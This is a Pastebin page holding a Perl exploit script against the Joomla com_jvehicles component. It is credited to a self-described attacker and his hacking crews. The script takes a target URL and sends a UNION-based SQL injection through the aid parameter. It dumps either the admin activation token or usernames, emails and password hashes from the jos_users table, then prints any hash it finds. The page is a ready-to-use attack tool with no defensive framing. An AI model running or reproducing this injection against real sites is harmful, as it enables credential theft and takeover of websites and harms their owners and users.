Advertisement
Guest User

csdvregbfrtgbf

a guest
Oct 11th, 2013
2,009
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.02 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket::INET;
  3. use LWP::UserAgent;
  4. system("clear");
  5. print "------------------------------------------------------------------------\n";
  6. print "########################################################################\n";
  7. print "# Joomla com_jvehicles Exploit #\n";
  8. print "# *Coded by Mauritania Attacker* #\n";
  9. print "# Greetz: AnonGhost - Mauritania HaCker Team - ZHC #\n";
  10. print "########################################################################\n";
  11. print "------------------------------------------------------------------------\n\n";
  12. $target = $ARGV[0];
  13. $component = $ARGV[1];
  14. if($target eq '' || $component eq '')
  15. {
  16. print "Usage: ./exploit.pl <target> <Method Number> \n";
  17. print "-----------------------------------\n";
  18. print " Available Methods : \n";
  19. print " 1- Get Activation Token Admin \n";
  20. print " 2- Get User + Password + Email \n";
  21. print "-----------------------------------\n";
  22. print " Example: ./exploit.pl http://www.site.com/ 1 \n\n";
  23. exit(1);
  24. }
  25.  
  26. open(FILE, "> contents11.txt");
  27.  
  28. if($target !~ /http:\/\//)
  29. {
  30. $target = "http://$target";
  31. }
  32.  
  33. sleep 1.5;
  34. $agent = LWP::UserAgent->new();
  35. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1');
  36.  
  37.  
  38. if($component == 1)
  39. {
  40. $host = $target . "index.php?option=com_jvehicles&task=agentlisting&aid=62/**/ AND /**/ 1=0 /**/ UNION /**/ ALL /**/ SELECT /**/ 1, /**/ 2, /**/ version(),/**/ 4, /**/ group_concat(activation,0x3a), /**/ 6, /**/ 7, /**/ 8, /**/ 9,/**/ 10, /**/ 11, /**/ 12, /**/ 13, /**/ 14, /**/ 15, /**/ 16, /**/ 17, /**/ 18,/**/ 19, /**/ 20, /**/ 21, /**/ 22, /**/23, /**/ 24, /**/ 25, /**/ 26, /**/ 27, /**/ 28, /**/ 29, /**/ 30, /**/ 31, /**/ 32 from+jos_users--";
  41. print " . . Retrieving Activation Token Admin .. from $target . . \n\n";
  42. sleep 1;
  43. $req = $agent->request(HTTP::Request->new(GET=>$host));
  44. $content = $req->content;
  45. if($content =~ /([0-9a-fA-F]{32})/)
  46. {
  47. $password = $1;
  48. print "[+] Activation Token Admin found --> $password :) .\n\n";
  49. sleep 1;
  50. }
  51. else
  52. {
  53. print "[-] Activation Token Admin not found :( . \n\n";
  54. }
  55. }
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64. if($component == 2)
  65. {
  66. $host = $target . "index.php?option=com_jvehicles&task=agentlisting&aid=62/**/ AND /**/ 1=0 /**/ UNION /**/ ALL /**/ SELECT /**/ 1, /**/ 2, /**/ version(),/**/ 4, /**/ group_concat(username,0x3a,email,password), /**/ 6, /**/ 7, /**/ 8, /**/ 9,/**/ 10, /**/ 11, /**/ 12, /**/ 13, /**/ 14, /**/ 15, /**/ 16, /**/ 17, /**/ 18,/**/ 19, /**/ 20, /**/ 21, /**/ 22, /**/23, /**/ 24, /**/ 25, /**/ 26, /**/ 27, /**/ 28, /**/ 29, /**/ 30, /**/ 31, /**/ 32 from+jos_users--";
  67. print " . . Retrieving Datas... from $target . . \n\n";
  68. sleep 1;
  69. $req = $agent->request(HTTP::Request->new(GET=>$host));
  70. $content = $req->content;
  71. if($content =~ /([0-9a-fA-F]{32})/)
  72. {
  73. $password = $1;
  74. print "[+] Datas Found ^_^ --> $password :) .\n\n";
  75. sleep 1;
  76. }
  77. else
  78. {
  79. print "[-] Datas not found :( . \n\n";
  80. }
  81. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement